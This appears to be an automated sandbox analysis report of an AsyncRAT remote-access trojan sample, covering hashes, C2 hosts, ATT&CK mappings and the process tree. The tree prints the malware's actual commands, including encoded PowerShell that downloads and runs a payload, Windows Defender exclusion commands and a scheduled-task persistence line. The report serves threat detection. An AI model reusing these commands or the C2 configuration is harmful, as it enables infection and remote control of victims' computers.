asyncrat | cb89e6fafecf411a75df6cb06b2302e8f3c9696232dbdff6b25b3d6bec635c91

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
30/03/2025, 12:12

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General

Target

reversheshellb64batTO.exe
Size

88KB
MD5

aa8d4f9a7cea9c7c8de61478ae5a7f81
SHA1

5b8ce5f94b702731877e55822dfb505af4332fa6
SHA256

cb89e6fafecf411a75df6cb06b2302e8f3c9696232dbdff6b25b3d6bec635c91
SHA512

2f54a16ad0a7a0ec8c6ea4f08cd28c587a6ac29421ec1433150e80e164d48bdd312480a86b15477deee4e11f3cf331823400a9fc858451fc4eaf59213577c982
SSDEEP

1536:D7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIf3xP+:fq6+ouCpk2mpcWJ0r+QNTBf3B+

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://tinyurl.com/VIRGPLOAD

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

holefo2785-22820.portmap.host:22820

holefo2785-22820.portmap.host:6606

Mutex

Oma7kBAtvlxY

Attributes

delay
3
install
true
install_file
discord.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x000e00000002407c-90.dat	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
19	3184	powershell.exe
24	3184	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6108	powershell.exe
4616	powershell.exe
5364	powershell.exe
3144	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
24	3184	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Control Panel\International\Geo\Nation	reversheshellb64batTO.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Control Panel\International\Geo\Nation	reversheshellb64batTO.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Control Panel\International\Geo\Nation	RuntimeBroker.exe

Executes dropped EXE 2 IoCs

pid	Process
1652	RuntimeBroker.exe
3932	discord.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reversheshellb64batTO.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RuntimeBroker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reversheshellb64batTO.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	discord.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
6120	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2536	schtasks.exe

Suspicious behavior: EnumeratesProcesses 37 IoCs

pid	Process
6108	powershell.exe
6108	powershell.exe
3144	powershell.exe
3144	powershell.exe
4616	powershell.exe
4616	powershell.exe
2668	powershell.exe
2668	powershell.exe
5364	powershell.exe
5364	powershell.exe
5696	powershell.exe
5696	powershell.exe
3184	powershell.exe
3184	powershell.exe
1652	RuntimeBroker.exe
1652	RuntimeBroker.exe
1652	RuntimeBroker.exe
1652	RuntimeBroker.exe
1652	RuntimeBroker.exe
1652	RuntimeBroker.exe
1652	RuntimeBroker.exe
1652	RuntimeBroker.exe
1652	RuntimeBroker.exe
1652	RuntimeBroker.exe
1652	RuntimeBroker.exe
1652	RuntimeBroker.exe
1652	RuntimeBroker.exe
1652	RuntimeBroker.exe
1652	RuntimeBroker.exe
1652	RuntimeBroker.exe
1652	RuntimeBroker.exe
1652	RuntimeBroker.exe
1652	RuntimeBroker.exe
1652	RuntimeBroker.exe
1652	RuntimeBroker.exe
1652	RuntimeBroker.exe
1652	RuntimeBroker.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	6108	powershell.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeDebugPrivilege	4616	powershell.exe
Token: SeDebugPrivilege	2668	powershell.exe
Token: SeDebugPrivilege	5364	powershell.exe
Token: SeDebugPrivilege	5696	powershell.exe
Token: SeDebugPrivilege	3184	powershell.exe
Token: SeDebugPrivilege	1652	RuntimeBroker.exe
Token: SeDebugPrivilege	3932	discord.exe

Suspicious use of WriteProcessMemory 41 IoCs

description	pid	Process	procid_target
PID 2076 wrote to memory of 3960	2076	reversheshellb64batTO.exe	88
PID 2076 wrote to memory of 3960	2076	reversheshellb64batTO.exe	88
PID 3960 wrote to memory of 6108	3960	cmd.exe	91
PID 3960 wrote to memory of 6108	3960	cmd.exe	91
PID 3960 wrote to memory of 3144	3960	cmd.exe	93
PID 3960 wrote to memory of 3144	3960	cmd.exe	93
PID 3144 wrote to memory of 3040	3144	powershell.exe	96
PID 3144 wrote to memory of 3040	3144	powershell.exe	96
PID 3144 wrote to memory of 3040	3144	powershell.exe	96
PID 3040 wrote to memory of 5852	3040	reversheshellb64batTO.exe	97
PID 3040 wrote to memory of 5852	3040	reversheshellb64batTO.exe	97
PID 5852 wrote to memory of 4616	5852	cmd.exe	99
PID 5852 wrote to memory of 4616	5852	cmd.exe	99
PID 5852 wrote to memory of 2668	5852	cmd.exe	100
PID 5852 wrote to memory of 2668	5852	cmd.exe	100
PID 2668 wrote to memory of 5364	2668	powershell.exe	101
PID 2668 wrote to memory of 5364	2668	powershell.exe	101
PID 5852 wrote to memory of 5696	5852	cmd.exe	102
PID 5852 wrote to memory of 5696	5852	cmd.exe	102
PID 5696 wrote to memory of 436	5696	powershell.exe	103
PID 5696 wrote to memory of 436	5696	powershell.exe	103
PID 5852 wrote to memory of 3184	5852	cmd.exe	104
PID 5852 wrote to memory of 3184	5852	cmd.exe	104
PID 3184 wrote to memory of 1652	3184	powershell.exe	107
PID 3184 wrote to memory of 1652	3184	powershell.exe	107
PID 3184 wrote to memory of 1652	3184	powershell.exe	107
PID 1652 wrote to memory of 3900	1652	RuntimeBroker.exe	111
PID 1652 wrote to memory of 3900	1652	RuntimeBroker.exe	111
PID 1652 wrote to memory of 3900	1652	RuntimeBroker.exe	111
PID 1652 wrote to memory of 1552	1652	RuntimeBroker.exe	112
PID 1652 wrote to memory of 1552	1652	RuntimeBroker.exe	112
PID 1652 wrote to memory of 1552	1652	RuntimeBroker.exe	112
PID 1552 wrote to memory of 6120	1552	cmd.exe	115
PID 1552 wrote to memory of 6120	1552	cmd.exe	115
PID 1552 wrote to memory of 6120	1552	cmd.exe	115
PID 3900 wrote to memory of 2536	3900	cmd.exe	116
PID 3900 wrote to memory of 2536	3900	cmd.exe	116
PID 3900 wrote to memory of 2536	3900	cmd.exe	116
PID 1552 wrote to memory of 3932	1552	cmd.exe	119
PID 1552 wrote to memory of 3932	1552	cmd.exe	119
PID 1552 wrote to memory of 3932	1552	cmd.exe	119

C:\Users\Admin\AppData\Local\Temp\reversheshellb64batTO.exe
"C:\Users\Admin\AppData\Local\Temp\reversheshellb64batTO.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2076
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\5C39.tmp\5C3A.tmp\5C3B.bat C:\Users\Admin\AppData\Local\Temp\reversheshellb64batTO.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w h -command ""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6108
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Start-Process -Verb RunAs -FilePath 'C:\Users\Admin\AppData\Local\Temp\reversheshellb64batTO.exe' -ArgumentList 'am_admin'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3144
  - - C:\Users\Admin\AppData\Local\Temp\reversheshellb64batTO.exe
      "C:\Users\Admin\AppData\Local\Temp\reversheshellb64batTO.exe" am_admin
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3040
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\6234.tmp\6235.tmp\6236.bat C:\Users\Admin\AppData\Local\Temp\reversheshellb64batTO.exe am_admin"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5852
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -w h -command ""
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4616
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAIgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAIgBDADoAXAANAAoA
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2668
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath " C:\
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5364
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -enc cgBlAGcAIABhAGQAZAAgACIASABLAEwATQBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAIgAgAC8AdgAgAEMAOgBcAA==
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5696
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\
        7⤵
        
        PID:436
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -enc JAB1AHIAbAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AHUAcgBsAC4AYwBvAG0ALwBWAEkAUgBHAFAATABPAEEARAAiAA0ACgAkAG8AdQB0AHAAdQB0ACAAPQAgACIAJABlAG4AdgA6AFQAZQBtAHAALwBSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAC4AZQB4AGUAIgANAAoASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAG8AdQB0AHAAdQB0AA0ACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAG8AdQB0AHAAdQB0AA==
        6⤵
        Blocklisted process makes network request
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3184
        
        C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1652
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "discord" /tr '"C:\Users\Admin\AppData\Roaming\discord.exe"' & exit
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3900
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "discord" /tr '"C:\Users\Admin\AppData\Roaming\discord.exe"'
        9⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2536
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7EF4.tmp.bat""
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1552
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        9⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:6120
        
        C:\Users\Admin\AppData\Roaming\discord.exe
        
        "C:\Users\Admin\AppData\Roaming\discord.exe"
        9⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
9a03ce3d82425c856b001b4f8d18c5b1

SHA1
782d7f256bf8799c7ec1bd7fabfb9bed2ac5b65a

SHA256
2aed929b84cc293687adcff261f734d3309f5d4040b7b9e9793da579c30e18bd

SHA512
27537befcc20e8f99a7e67da04c48f9ce31d0fdfb971c509af84141a6d0fbb8c1228edc3785aa9ca73b0d573adc5ac94e26afe636745a41b10bedf98c419e94b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Temp\5C39.tmp\5C3A.tmp\5C3B.bat

Filesize
1KB

MD5
67ce8577d16577bede59e604f52ec2de

SHA1
c0a7b9d0f0082d227a2e9ae125c09afa08b30ec6

SHA256
1cf31abdbb120a1449dd41cbdcf6a183f136dfb525c255c9a5793df5c5a84ba6

SHA512
a2491767e88064922bfc42740ec983b04097339cac9fdb93e11cc1fd6344ad52a4bb1cadb3a0a7e11578d84b4ce4da85b04388ba72c620b425a824d70e2fcd3e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe

Filesize
48KB

MD5
f814cb9c71d35f8bd503b6d9949aca22

SHA1
96cb19b70bbcab9627cc3c37a384287a1162dc7c

SHA256
d5965c899e5413e91ab7b75669b35d6797b5462c64f99f217a4014e8e4deafbd

SHA512
072b7a7cc5be22435d9c498f85479ac51891dbcb2fac8305236f156bada662398e35d53507cc5c4c5094f7bb7c979a47136249f9e7094dd652a1f9e5fb1c3a5f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_soah33kb.xae.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp7EF4.tmp.bat

Filesize
151B

MD5
cff45ab7bab920e1f582726474bb15cc

SHA1
632c224e50ee02bc28855ef1a31becbaf87d24ec

SHA256
67a511e012265fd0b3750ea9d3adc861bfd2295eb187ce65d74a056fd81d7b21

SHA512
b8303dc16d7588149b9fd0018ae7ce6e1c4ade3101b3099a01320c999d787caae1d48d85c910b615c0c743a9d0dbb6c9089146b36e00418c8b088bdd00700fa3

Download Submit
memory/1652-100-0x00000000057A0000-0x000000000583C000-memory.dmp

Filesize
624KB

Download
memory/1652-99-0x0000000005100000-0x0000000005166000-memory.dmp

Filesize
408KB

Download
memory/1652-98-0x0000000000250000-0x0000000000262000-memory.dmp

Filesize
72KB

Download
memory/6108-12-0x0000027AF47D0000-0x0000027AF47F2000-memory.dmp

Filesize
136KB

Download
memory/6108-17-0x00007FFAB5DB0000-0x00007FFAB6871000-memory.dmp

Filesize
10.8MB

Download
memory/6108-16-0x00007FFAB5DB0000-0x00007FFAB6871000-memory.dmp

Filesize
10.8MB

Download
memory/6108-13-0x00007FFAB5DB0000-0x00007FFAB6871000-memory.dmp

Filesize
10.8MB

Download
memory/6108-2-0x00007FFAB5DB3000-0x00007FFAB5DB5000-memory.dmp

Filesize
8KB

Download